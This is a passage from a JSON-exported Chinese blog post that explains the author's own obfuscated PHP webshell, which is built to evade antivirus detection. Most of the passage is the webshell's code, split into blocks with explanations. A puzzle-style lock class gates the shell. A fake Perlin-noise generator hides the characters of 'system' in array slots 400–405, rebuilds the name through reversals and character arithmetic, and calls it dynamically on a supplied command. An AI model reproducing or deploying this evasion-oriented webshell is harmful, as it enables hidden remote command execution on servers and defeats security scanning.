}\n}\n?&gt;<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u8be5\u51fd\u6570\u6838\u5fc3\u4e3a\u8c03\u7528<code>setBackBlock()<\/code>\u51fd\u6570\u6216\u5c06\u6210\u5458\u51fd\u6570\u503c\u52a0<code>1<\/code>\uff0c<strong>\u5982\u679c<\/strong><code>setBackBlock()<\/code><strong>\u51fd\u6570\u8fd4\u56de<\/strong><code>true<\/code><strong>\uff0c\u5219\u4ee3\u8868\u6210\u5458\u51fd\u6570\u503c\u5df2\u7ecf\u88ab\u4f7f\u7528\u5faa\u73af\u7fa4\u8fd0\u7b97\u65b9\u6cd5\u52a0<\/strong><code>1<\/code><strong>\uff0c\u4e0d\u9700\u8981\u518d\u6b21\u52a0<\/strong><code>1<\/code>\uff1b\u5426\u5219\u624b\u52a8\u52a0<code>1<\/code>\u3002<strong>\uff08\u6bd4\u5982\uff0c\u5982\u679c\u63a5\u6536\u7684\u4f20\u5165\u503c\u4e3a<\/strong><code>A<\/code><strong>\uff0c\u5219\u51fb\u6253<\/strong><code>A<\/code><strong>\u3001<\/strong><code>B<\/code><strong>\uff1b\u5982\u679c\u4f20\u5165\u503c\u4e3a<\/strong><code>B<\/code><strong>\uff0c\u5219\u51fb\u6253<\/strong><code>A<\/code><strong>\u3001<\/strong><code>B<\/code><strong>\u3001<\/strong><code>C<\/code><strong>\uff1b\u4ee5\u6b64\u7c7b\u63a8\uff09<\/strong><\/p>\n<p><code>__AFG50CE4_RG1()<\/code>\u51fd\u6570\u7684\u4f5c\u7528\u4e3a<strong>\u63a5\u6536\u7b54\u6848\u6570\u7ec4\u5e76\u6839\u636e\u6570\u7ec4\u7684\u6bcf\u4e2a\u503c\u8c03\u7528<\/strong><code>hit()<\/code><strong>\u51fd\u6570<\/strong>\uff0c\u6a21\u62df\u5b9e\u73b0\u6839\u636e\u7b54\u6848\u503c\u51fb\u6253\u65b9\u5757\uff0c\u5176\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\npublic function __AFG50CE4_RG1() {\n    global $puzz_writeup;\n    if (count($puzz_writeup) === 0) throw new Exception(\"Invalid WriteUP\",1);\n    for ($i = 0; $i &lt; count($puzz_writeup);$i++) {\n        if (strcmp($puzz_writeup[$i],\"A\") !== 0 and strcmp($puzz_writeup[$i],\"B\") !== 0 and strcmp($puzz_writeup[$i],\"C\") !== 0 and strcmp($puzz_writeup[$i],\"D\") !== 0) die(\"\u7b28\u86cb\u7b28\u86cb\u7b28\u86cb\u7b28\u86cb\uff01\uff01~ \u90fd...\u90fd\u8ddf\u4f60\u8bf4\u4e86\u7b54\u6848\u91cc\u53ea\u80fd\u6709ABCD\u7684......\");\n    }\n    for ($i = 0; $i &lt; count($puzz_writeup); $i++) $this -&gt; hit($puzz_writeup[$i]);\n    global $userans;\n    $userans = $this -&gt;blockA + $this -&gt; blockB + $this -&gt; blockC + $this -&gt; blockD;\n}\n?&gt;<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u51fd\u6570\u9996\u5148\u8f7d\u5165\u4e86\u88ab<strong>\u53d8\u91cf\u8986\u76d6\u4f20\u503c\u6a21\u5757<\/strong>\u521d\u59cb\u5316\u7684\u7b54\u6848\u6570\u7ec4\u53d8\u91cf<code>$puzz_writeup<\/code>\uff1b\u63a5\u7740\u6821\u9a8c\u6570\u7ec4\u7684\u957f\u5ea6\u548c\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e2a\u7b54\u6848\u5b57\u7b26\u4e32\uff0c\u5982\u679c\u4e0d\u7b26\u5408\u683c\u5f0f\u8981\u6c42\u5219\u9000\u51fa\u7a0b\u5e8f\uff1b<strong>\u7136\u540e\u904d\u5386\u6570\u7ec4\uff0c\u53d6\u51fa\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e4b\u540e\u5c06\u5176\u4f5c\u4e3a\u53c2\u6570\u6765\u8c03\u7528<\/strong><code>hit()<\/code><strong>\u51fd\u6570\uff0c\u5b9e\u73b0\u201c\u51fb\u6253\u201d\u529f\u80fd\uff1b\u6700\u540e\u521d\u59cb\u5316\u5168\u5c40\u53d8\u91cf<\/strong><code>$userans<\/code><strong>\uff0c\u5176\u503c\u8bbe\u7f6e\u4e3a\u5bf9\u8c61\u4e2d<\/strong><code>4<\/code><strong>\u4e2a\u6210\u5458\u53d8\u91cf\u6570\u503c\u7684\u548c<\/strong>\u3002<\/p>\n<blockquote>\n<p>P.S. <strong>\u6839\u636e\u7c7b\u6784\u9020\u51fd\u6570\u7684\u8bbe\u8ba1\uff0c4\u4e2a\u6210\u5458\u53d8\u91cf\u521d\u59cb\u503c\u5206\u522b\u4e3a<\/strong><code>2<\/code><strong>\u3001<\/strong><code>0<\/code><strong>\u3001<\/strong><code>0<\/code><strong>\u3001<\/strong><code>2<\/code><strong>\uff0c\u82e5\u51fb\u6253\u6b63\u786e\uff0c\u52194\u4e2a\u6570\u7684\u548c\u5e94\u8be5\u4e3a<\/strong><code>8<\/code><strong>\u3002<\/strong><\/p>\n<\/blockquote>\n<p><code>getLockerStatus()<\/code>\u51fd\u6570\u7684\u529f\u80fd\u5f88\u7b80\u5355\uff0c<strong>\u53ea\u662f\u5224\u65ad\u5bf9\u8c61\u4e2d4\u4e2a\u6210\u5458\u53d8\u91cf\u6570\u503c\u662f\u5426\u76f8\u7b49\uff0c\u82e5\u76f8\u7b49\u5219\u5224\u5b9a\u7a0b\u5e8f\u89e3\u9501<\/strong>\uff0c\u5176\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\npublic function getLockerStatus() {\n    global $text;\n    $text = strrev($text);\n    if ($this -&gt; blockA ===$this -&gt; blockB and $this -&gt; blockA === $this -&gt; blockC and $this -&gt; blockA === $this -&gt; blockD) return true;\n    else return false;\n}\n?&gt;<\/code><\/pre>\n<p>\u5728\u7a0b\u5e8f\u4e3b\u5e72\u4e2d\uff0c\u7a0b\u5e8f\u5148\u4f7f\u7528<strong>\u53d8\u91cf\u8986\u76d6\u4f20\u503c\u6a21\u5757<\/strong>\u4f20\u9012\u5173\u952e\u53d8\u91cf\uff0c<strong>\u968f\u540e\u4f1a\u521d\u59cb\u5316<\/strong><code>InazumaPuzzle<\/code><strong>\u7c7b\u5e76\u8c03\u7528<\/strong><code>__AFG50CE4_RG1()<\/code><strong>\u89e3\u9501\u51fd\u6570\u5c1d\u8bd5\u89e3\u9664\u7a0b\u5e8f\u7684\u9501\u5b9a<\/strong>\u3002\u82e5\u89e3\u9501\u5931\u8d25\uff0c\u5219\u65e0\u6cd5\u521d\u59cb\u5316\u4e0b\u9762\u7684<code>PerlinNoise<\/code>\u7c7b\u5e76\u9000\u51fa\u7a0b\u5e8f\uff0c\u5982\u56fe\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/5f62e7df6145f397849a4c87a80d9d83.webp?x-image-process=image\/format,png#pic_center\" alt=\"\" \/><\/p>\n<h2>PerlinNoise\u5371\u9669\u51fd\u6570\u751f\u6210\u4e0e\u6267\u884c\u7c7b<\/h2>\n<blockquote>\n<p>\u67cf\u6797\u566a\u58f0\uff1a<strong>\u4e00\u79cd\u968f\u673a\u6570\u751f\u6210\u7b97\u6cd5<\/strong>\u3002\u67cf\u6797\u566a\u58f0\u57fa\u4e8e\u968f\u673a\uff0c\u5e76\u5728\u6b64\u57fa\u7840\u4e0a\u5229\u7528\u7f13\u52a8\u66f2\u7ebf\u8fdb\u884c\u5e73\u6ed1\u63d2\u503c\uff0c\u4f7f\u5f97\u6700\u7ec8\u5f97\u5230\u566a\u58f0\u6548\u679c\u66f4\u52a0\u8d8b\u4e8e\u81ea\u7136\u3002<strong>\u57fa\u4e8e\u4e0d\u540c\u7684\u91c7\u6837\u7a7a\u95f4\uff0c\u67cf\u6797\u566a\u58f0\u53ef\u4ee5\u5206\u4e3a\u4e00\u7ef4\u3001\u4e8c\u7ef4\u548c\u4e09\u7ef4<\/strong>\u3002\u8be5\u968f\u673a\u6570\u751f\u6210\u7b97\u6cd5\u5e38\u7528\u4e8e\u8ba1\u7b97\u673a\u56fe\u5f62\u5b66\u4e2d\u3002<\/p>\n<\/blockquote>\n<p>\u6b63\u5e38\u6765\u8bf4\uff0c\u4e00\u7ef4\u67cf\u6797\u51fd\u6570\u751f\u6210\u5668\u4ee3\u7801\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n<pre><code class=\"language-cpp\">int[] perm = {...};\nfloat[] grad = {...};\nvoid Hash(ref int[] gradient, int x, int y) {\n    int permIdx[] = new int[2];\n    permIdx[0] = FindIndex(x);\n    permIdx[1] = FindIndex(y);\n    int gradIdx[] = new int[2];\n    gradIdx[0] = perm[permIdx[0]];\n    gradIdx[1] = perm[permIdx[1]];\n    gradient[0] = grad[gradIdx[0]];\n    gradient[1] = grad[gradIdx[1]];\n}\nfloat perlin(float x) {\n    int x1 = floor(x);\n    int x2 = x1 + 1;\n    float grad1 = perm[x1 % 255] * 2.0 - 255.0;\n    float grad2 = perm[x2 % 255] * 2.0 - 255.0;\n    float vec1 = x - x1;\n    float vec3 = x - x2;\n    float t = 3 * pow(vec1, 2) - 2 * pow(vec1, 3);\n    float product1 = grad1 * vec1;\n    float product2 = grad2 * vec2;\n    return product1 + t * (product2 - product1);\n}<\/code><\/pre>\n<p>\u4f46\u662f\u4f5c\u8005\u5c06\u4e00\u7ef4\u67cf\u6797\u51fd\u6570\u751f\u6210\u7b97\u6cd5\u8fdb\u884c\u4fee\u6539\uff0c<strong>\u5728\u751f\u6210\u6570\u7ec4\u7684\u7b2c<\/strong><code>400<\/code><strong>\u4f4d\u81f3\u7b2c<\/strong><code>405<\/code><strong>\u4f4d\u4e2d\u57cb\u5165\u540e\u95e8<\/strong>\uff0c\u5b9e\u73b0\u4e86\u547d\u4ee4\u6267\u884c\u51fd\u6570<code>system()<\/code>\u7684\u9690\u85cf\u8c03\u7528\u3002<\/p>\n<p>\u8be5\u7c7b\u4e2d\u6709\u5982\u4e0b\u5173\u952e\u51fd\u6570\uff1a<\/p>\n<ul>\n<li><strong>\u6784\u9020\u51fd\u6570<\/strong><\/li>\n<li><code>randomFloat()<\/code><strong>\u57fa\u4e8e\u65f6\u95f4\u7684\u968f\u673a\u503c\u751f\u6210\u5668<\/strong><\/li>\n<li><code>__PLvB4CR0_Z()<\/code><strong>\u6392\u5217\u8868\u751f\u6210\u5668<\/strong><\/li>\n<li><code>__PLAB4CR0_o()<\/code><strong>\u68af\u5ea6\u8868\u751f\u6210\u5668<\/strong><\/li>\n<li><code>__CPRBB0R0_l()<\/code><strong>\u57cb\u6709\u540e\u95e8\u7684\u67cf\u6797\u566a\u58f0\u751f\u6210\u5668<\/strong><\/li>\n<li><code>__HNBB70CA_5()<\/code><strong>\u57cb\u6709\u540e\u95e8\u7684\u67cf\u6797\u566a\u58f0\u663e\u793a\u5668<\/strong><\/li>\n<\/ul>\n<p>\u63a5\u4e0b\u6765\u4f9d\u6b21\u4ecb\u7ecd\u4e0a\u9762\u7684\u51fd\u6570\u3002<\/p>\n<h3>\u6784\u9020\u51fd\u6570<\/h3>\n<p>\u6784\u9020\u51fd\u6570\u63a5\u6536<code>4<\/code>\u4e2a\u53c2\u6570\uff1a<\/p>\n<ul>\n<li><code>arrlength<\/code>\u67cf\u6797\u566a\u58f0\u6570\u7ec4\u957f\u5ea6\uff1b<\/li>\n<li><code>MAX_INPUT<\/code>\u68af\u5ea6\u6570\u6700\u5927\u503c\uff1b<\/li>\n<li><code>MIN_INPUT<\/code>\u68af\u5ea6\u6570\u6700\u5c0f\u503c\uff1b<\/li>\n<li><code>source<\/code><strong>\u68af\u5ea6\u503c\u6570\u636e\u6e90\uff08\u82e5\u4e3a<\/strong><code>DIFF_PERLIN<\/code><strong>\u5f00\u542f\u540e\u95e8\u6a21\u5f0f\uff09<\/strong><\/li>\n<\/ul>\n<p>\u6784\u9020\u51fd\u6570\u9996\u5148\u8f7d\u5165\u4e86\u5168\u5c40\u7a0b\u5e8f\u9501\u5b9a\u5668\u5bf9\u8c61\uff0c\u968f\u540e\u8c03\u7528<code>InazumaPuzzle::getLockerStatus()<\/code>\u65b9\u6cd5\u5224\u65ad\u7a0b\u5e8f\u9501\u5b9a\u60c5\u51b5\uff0c\u82e5\u672a\u89e3\u9501\u5219\u9000\u51fa\u7a0b\u5e8f\uff1b<strong>\u63a5\u7740\u5224\u65ad\u4f20\u5165\u7684\u8981\u751f\u6210\u7684\u67cf\u6797\u566a\u58f0\u6570\u7684\u6570\u91cf\uff0c\u82e5\u4e0d\u7b26\u5408\u8981\u6c42\u5219\u62a5\u9519\uff1b\u7136\u540e\u6839\u636e<\/strong><code>source<\/code><strong>\u53c2\u6570\u5224\u65ad\u662f\u5426\u5f00\u542f\u540e\u95e8\u6a21\u5f0f\u3002\u6700\u540e\u5c064\u4e2a\u53c2\u6570\u914d\u7f6e\u4fdd\u5b58\u5728\u7c7b\u6210\u5458\u53d8\u91cf\u4e2d<\/strong>\u3002<\/p>\n<pre><code class=\"language-php\">&lt;?php\npublic function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = \"GENERATE\") {\n    global $appor5nnb;\n    if (!$appor5nnb -&gt; getLockerStatus()) die(\"\u55ef\u54fc\uff0c\u7b28\u86cb\u6742\u9c7c\u6b27\u5c3c\u9171~ \u679c\u7136\u89e3\u4e0d\u5f00\u5427~\");\n    if ($arrLength &lt; 3000 or $arrLength &gt; 9999) {\n        throw new InvalidArgumentException(\"Error: Invaild Length\");\n    }\n    if (strcmp($source,\"DIFF_PERLIN\") == 0) {\n        $this -&gt; BAD_ARGS = true;\n        $source = \"GENERATE\";\n    }\n    $this -&gt; arrLength = $arrLength;\n    $this -&gt; source = $source;\n    $this -&gt; INPUT_NUM_MAX = $MAX_INPUT;\n    $this -&gt; INPUT_NUM_MIN = $MIN_INPUT;\n}\n?&gt;<\/code><\/pre>\n<h3>\u57fa\u4e8e\u65f6\u95f4\u7684\u968f\u673a\u503c\u751f\u6210\u5668<\/h3>\n<p><code>randomFloat()<\/code>\u51fd\u6570\u7684\u539f\u7406\u6bd4\u8f83\u7b80\u5355\uff0c\u5c31\u662f<strong>\u6839\u636e\u65f6\u95f4\u79cd\u5b50\u548c\u68af\u5ea6\u6570\u7684\u6781\u503c\u914d\u7f6e\u751f\u6210\u6bcf\u4e2a\u68af\u5ea6\u6570\uff0c\u751f\u6210\u7684\u68af\u5ea6\u6570\u4e3a\u5c0f\u6570<\/strong>\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\nprivate function randomFloat(){\n    $_ = 110+4;\n    $__ = ((int)(600\/2))-184;\n    $___ = 115;\n    $____ = 100-2;\n    $_____ = 117;\n    $______ = 113+2;\n    \/* \u4e0a\u8ff0\u53d8\u91cf\u4e3a\u5e72\u6270\u9879 *\/\n    $max = $this -&gt; INPUT_NUM_MAX;\n    $min = $this -&gt; INPUT_NUM_MIN;\n    $num = $min + mt_rand() \/ mt_getrandmax() * ($max - $min);\n    return sprintf(\"%.2f\",$num);\n}\n?&gt;<\/code><\/pre>\n<h3>\u6392\u5217\u8868\u751f\u6210\u5668<\/h3>\n<p><code>__PLvB4CR0_Z()<\/code>\u51fd\u6570\u4e3a\u6392\u5217\u8868\u751f\u6210\u5668\uff0c<strong>\u8be5\u51fd\u6570\u5b9e\u9645\u4e0a\u4e3a\u57fa\u4e8e\u65f6\u95f4\u7684\u968f\u673a\u6574\u6570\u751f\u6210\u5668<\/strong>\uff0c\u751f\u6210\u6570\u91cf\u4e3a\u6307\u5b9a\u7684\u67cf\u6797\u566a\u58f0\u6570\u7ec4\u957f\u5ea6\uff0c\u4fdd\u5b58\u4e8e\u7c7b\u4e2d\u7684\u6570\u7ec4\u6210\u5458\u53d8\u91cf<code>$seeds_array<\/code>\u4e2d\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\nprivate function __PLvB4CR0_Z() {\n    srand(time());\n    for ($i = 0; $i &lt; $this -&gt; arrLength; $i++) {\n        $eachNum = pause(rand(0,255));\n        array_push($this -&gt; seeds_array, $eachNum);\n    }\n}\n?&gt;<\/code><\/pre>\n<h3>\u68af\u5ea6\u8868\u751f\u6210\u5668<\/h3>\n<p><code>__PLAB4CR0_o()<\/code>\u51fd\u6570\u4e3a\u68af\u5ea6\u8868\u751f\u6210\u5668\uff0c\u5176\u5b9e\u9645\u529f\u80fd\u8f83\u4e3a\u7b80\u5355\u3002<strong>\u8be5\u51fd\u6570\u8bfb\u53d6\u7c7b\u6210\u5458\u53d8\u91cf<\/strong><code>$source<\/code><strong>\u7684\u503c\uff0c\u6839\u636e\u8be5\u503c\u51b3\u5b9a\u68af\u5ea6\u6570\u7684\u6570\u636e\u6e90\uff08\u5b9e\u9645\u4e0a\u53ea\u80fd\u8fdb\u884c\u968f\u673a\u503c\u751f\u6210\uff09\uff0c\u968f\u540e\u8c03\u7528<\/strong><code>randomFloat()<\/code><strong>\u51fd\u6570\u751f\u6210<\/strong><code>2<\/code><strong>\u4f4d\u968f\u673a\u5c0f\u6570<\/strong>\uff0c\u751f\u6210\u7684\u6570\u91cf\u4e3a\u6307\u5b9a\u7684\u67cf\u6797\u566a\u58f0\u6570\u7ec4\u957f\u5ea6\uff0c\u751f\u6210\u7684\u6570\u7ec4\u4fdd\u5b58\u5728\u7c7b\u6570\u7ec4\u6210\u5458\u53d8\u91cf<code>$inputNumArray<\/code>\u4e2d\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\nprivate function __PLAB4CR0_o() {\n    if (strcmp($this -&gt; source, \"GENERATE\") == 0) {\n        srand(time());\n        for ($i = 0; $i &lt; $this -&gt; arrLength; $i++) {\n            $eachNum = pause($this -&gt; randomFloat());\n            array_push($this -&gt; inputNumArray, floatval($eachNum));\n        }\n    } else if (strcmp($this -&gt; source,\"SYSLOG\") == 0) {\n        $handle = fopen(\"\/etc\/messages\",\"r\");\n        $count = 0;\n        while(($char = fgetc($handle)) !== false) {\n            if ($count == $this -&gt; INPUT_NUM_MAX - 1) break;\n            if (($ascii_value = ord($char)) and $ascii_value % 1 !== 0) {\n                array_push($this -&gt; inputNumArray, sprintf(\"%.2f\",$ascii_value \/ 2.3));\n                $count++;\n            } else continue;\n        }\n    }\n}\n?&gt;<\/code><\/pre>\n<h3>\u57cb\u6709\u540e\u95e8\u7684\u67cf\u6797\u566a\u58f0\u751f\u6210\u5668<\/h3>\n<p><code>__CPRBB0R0_l()<\/code>\u51fd\u6570\u4e3a\u67cf\u6797\u566a\u58f0\u751f\u6210\u5668\uff0c\u8be5\u51fd\u6570\u4e2d\u57cb\u6709\u540e\u95e8\u3002<strong>\u8be5\u51fd\u6570\u9996\u5148\u8f7d\u5165\u5168\u5c40\u53d8\u91cf<\/strong><code>$userans<\/code><strong>\uff0c\u503c\u4e3a\u9501\u5b9a\u56684\u4e2a\u6210\u5458\u53d8\u91cf\u7684\u548c\uff08\u6b63\u5e38\u4e3a<\/strong><code>8<\/code><strong>\uff09\uff1b\u968f\u540e\u6839\u636e\u53d8\u91cf<\/strong><code>$userans<\/code><strong>\u7684\u503c\u8fdb\u884c\u6570\u5b66\u8fd0\u7b97\u64cd\u4f5c\uff0c\u6307\u5b9a\u751f\u6210\u5371\u9669\u51fd\u6570\u5b57\u6bcd\u7684<\/strong><code>ASCII<\/code><strong>\u503c\uff0c\u5e76\u5c06\u5176\u5199\u5165\u7279\u5b9a\u4f4d\u7f6e\u4e2d\u3002\uff08\u7b2c<\/strong><code>400<\/code><strong>\u4f4d\u81f3\u7b2c<\/strong><code>405<\/code><strong>\u4f4d\uff09<\/strong> \u5176\u5b83\u4f4d\u5219\u4e3a\u6b63\u5e38\u7684\u67cf\u6797\u566a\u58f0\u6570\u5b57\u3002\u751f\u6210\u7684\u67cf\u6797\u566a\u58f0\u6570\u7ec4\u4fdd\u5b58\u5728\u7c7b\u6570\u7ec4\u6210\u5458\u53d8\u91cf<code>$perlin_noise<\/code>\u4e2d\u3002<\/p>\n<pre><code class=\"language-php\">&lt;?php\npublic function __CPRBB0R0_l() {\n    global $userans;\n    for ($i = 0; $i &lt; $this -&gt; arrLength; $i++) {\n        if ($this -&gt; BAD_ARGS) {\n            if ($i &gt; ($userans+391) and $i &lt; (pause($userans+390+8))) {\n                $result = array($userans + 101,$userans + 93,$userans + (50*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);\n                array_push($this -&gt; perlin_noise, $result[$i - 400]);\n                continue;\n            }\n        }\n    $cache = $this -&gt; inputNumArray[$i];\n    $x1 = round($cache);\n    $x2 = $x1 + 1;\n    $grad1 = $this -&gt; seeds_array[$x1 % 255] * 2.0 - 255.0;\n    $grad2 = $this -&gt; seeds_array[$x2 % 255] * 2.0 - 255.0;\n    $vec1 = $i - $x1;\n    $vec2 = $i - $x2;\n    $t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3);\n    $product1 = $grad1 * $vec1;\n    $product2 = $grad2 * $vec2;\n    $result = $product1 + $t * ($product2 - $product1);\n    array_push($this -&gt; perlin_noise, $result);\n    }\n}\n?&gt;<\/code><\/pre>\n<h3>\u67cf\u6797\u566a\u58f0\u663e\u793a\u5668<\/h3>\n<p><code>__HNBB70CA_5()<\/code>\u51fd\u6570\u4e3a\u67cf\u6797\u566a\u58f0\u663e\u793a\u5668\uff0c\u8be5\u51fd\u6570\u4f7f\u7528<strong>\u52a8\u6001\u51fd\u6570\u8c03\u7528<\/strong>\u6267\u884c<code>system()<\/code>\u547d\u4ee4\u6267\u884c\u51fd\u6570\u3002\u8be5\u51fd\u6570\u9996\u5148\u4f7f\u7528<strong>EL\u8868\u8fbe\u5f0f<\/strong>\u548c<strong>\u6570\u5b57\u8f6c\u5b57\u7b26\u4e32<\/strong>\u7684\u65b9\u5f0f\u8f7d\u5165\u4e86<code>$userans<\/code>\u3001<code>$b<\/code>\u548c<code>$pcs<\/code>\u4e09\u4e2a\u53d8\u91cf <strong>\uff08\u5176\u4e2d<\/strong><code>$b<\/code><strong>\u4e3a\u5371\u9669\u51fd\u6570\u7684\u7b2c\u4e00\u4f4d\u5b57\u6bcd\uff0c<\/strong><code>$pcs<\/code><strong>\u4e3a\u8981\u6267\u884c\u7684\u547d\u4ee4\uff09<\/strong>\uff0c\u968f\u540e\u8bfb\u53d6\u4e86\u67cf\u6797\u566a\u58f0\u6570\u7ec4<code>$perlin_noise<\/code>\u4e2d<strong>\u5371\u9669\u51fd\u6570\u540d\u79f0\u533a\u57df<\/strong>\u7684\u6570\u503c\u5e76\u5c06\u5176\u4fdd\u5b58\u5230\u6570\u7ec4<code>$cache_noise<\/code>\u4e2d\uff0c\u7d27\u63a5\u7740\u53c8\u5c06\u5176\u503c\u590d\u5236\u5230\u6570\u7ec4<code>$temp_noise<\/code>\u4e2d <strong>\uff08\u590d\u5236\u65f6\u6545\u610f\u5c11\u8bfb\u4e00\u4f4d\uff09<\/strong>\uff0c<strong>\u968f\u540e\u5c06\u5176\u8f6c\u5316\u4e3a\u5b57\u7b26\u4e32\u5e76\u8fdb\u884c\u591a\u6b21\u53cd\u8f6c\u3001\u62fc\u63a5\u548c\u963b\u65ad\u540e\uff0c\u5728\u6574\u4e2a\u7a0b\u5e8f\u7684\u7b2c<\/strong><code>123<\/code><strong>\u884c\u6267\u884c\u4e86<\/strong><code>system()<\/code><strong>\u51fd\u6570<\/strong>\u3002<\/p>\n<pre><code class=\"language-php\">&lt;?php\npublic function __HNBB70CA_5() {\n    global $userans;\n    global ${strval(chr(90+$userans))};\n    global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};\n    $cache_noise = pause(array());\n    for ($i = 400; $i &lt; 406; $i++) {\n        array_push($cache_noise,$this -&gt; perlin_noise[$i]);\n    }\n    $temp_noise = array();\n    for ($i = 0; $i &lt; count($cache_noise); $i++) {\n        array_push($temp_noise, $cache_noise[$i]);\n    }\n    for ($i = 0; $i &lt; count($temp_noise); $i++) {\n        $temp_noise[$i] = chr($temp_noise[$i]);\n    }\n    $ab = pause(array_map(function($arr){ return chr($arr); },array_slice($this -&gt; perlin_noise,(188*2)+$userans*3,$userans-3)));\n    $c = strval(sprintf(\"%s%s\",$b,pause(strrev(implode(\"\",pause($ab))))));\n    $c($pcs);\n    \/\/ \u5e0c\u513f\u4e16\u754c\u7b2c\u4e00\u53ef\u7231\uff01\n    die(urldecode(\"%3c%62%72%3e%3c%62%72%3e\"));\n    var_dump(array_slice($this -&gt; perlin_noise,1000,800));\n    }\n}\n?&gt;<\/code><\/pre>\n<h2>\u7a0b\u5e8f\u4e3b\u5e72<\/h2>\n<pre><code class=\"language-php\">&lt;?php\n    $appor5nnb = new InazumaPuzzle();\n    $appor5nnb -&gt; __AFG50CE4_RG1();\n    $cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, \"DIFF_PERLIN\");\n    $cvb33ff55-&gt;__BHUYTVV8_1();\n    $cvb33ff55 -&gt; __CPRBB0R0_l();\n    $cvb33ff55 -&gt;__HNBB70CA_5();\n?&gt;<\/code><\/pre>\n<p><strong>\u53ef\u4ee5\u770b\u5230\uff0c\u7a0b\u5e8f\u4e3b\u5e72\u5904\u9996\u5148\u521b\u5efa\u4e86<\/strong><code>InazumaPuzzle<\/code><strong>\u7a0b\u5e8f\u9501\u5b9a\u5668\uff0c\u968f\u540e\u8c03\u7528\u4e86<\/strong><code>InazumaPuzzle::__AFG50CE4_RG1()<\/code><strong>\u51fd\u6570\u5c1d\u8bd5\u5bf9\u7a0b\u5e8f\u6267\u884c\u89e3\u9501\u64cd\u4f5c\uff0c\u7d27\u63a5\u7740\u7a0b\u5e8f\u521b\u5efa\u4e86\u57cb\u6709\u540e\u95e8\u7684\u67cf\u6797\u566a\u58f0\u751f\u6210\u5668\u5e76\u6253\u5f00\u4e86\u540e\u95e8\u6a21\u5f0f\uff0c\u7136\u540e\u751f\u6210\u4e86\u68af\u5ea6\u8868\u548c\u6392\u5217\u8868\uff0c\u6700\u540e\u8c03\u7528\u5185\u7f6e\u540e\u95e8\u7684\u67cf\u6797\u566a\u58f0\u6253\u5370\u51fd\u6570\u6267\u884c\u4e86\u547d\u4ee4\u3002<\/strong><\/p>\n<hr \/>\n<h1>\u53c2\u8003\u8d44\u6599<\/h1>\n<ol>\n<li><a href=\"https:\/\/www.miyoushe.com\/ys\/article\/17414097\" target=\"_blank\"  rel=\"nofollow\" >\u3010\u6570\u5b66\u539f\u7406\u3011\u7a3b\u59bb\u65b9\u5757\u89e3\u5bc6\u7684\u6570\u5b66\u539f\u7406-\u539f\u795e\u793e\u533a-\u7c73\u6e38\u793e<\/a><\/li>\n<li><a href=\"https:\/\/zhuanlan.zhihu.com\/p\/206271895?ivk_sa=1024320u&amp;utm_id=0\" target=\"_blank\"  rel=\"nofollow\" >[Nature of Code] \u67cf\u6797\u566a\u58f0 - \u77e5\u4e4e<\/a><\/li>\n<li><a href=\"https:\/\/blog.csdn.net\/qq_45521281\/article\/details\/105849770\" target=\"_blank\"  rel=\"nofollow\" >\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\u603b\u7ed3-CSDN\u535a\u5ba2<\/a><\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>\u6ce8\u610f\uff1a\u672c\u6587\u8f6c\u8f7d\u81ea\u672c\u4f5c\u8005\u7a00\u571f\u6398\u91d1\u535a\u5ba2 \u535a\u5ba2\u5730\u5740\uff1a \u5fa1\u574219008\u53f7 \u7684\u4e2a\u4eba\u4e3b\u9875 &#8211; \u52a8\u6001 &#8211; \u6398\u91d1 \u524d\u8a00 \u6700\u5f00\u59cb\u840c\u751f\u51fa\u5199\u514d\u6740WebS &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[4],"tags":[],"class_list":["post-215","post","type-post","status-publish","format-standard","hentry","category-other_articles"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/215","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=215"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/215\/revisions"}],"predecessor-version":[{"id":216,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/215\/revisions\/216"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=215"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=215"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=215"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}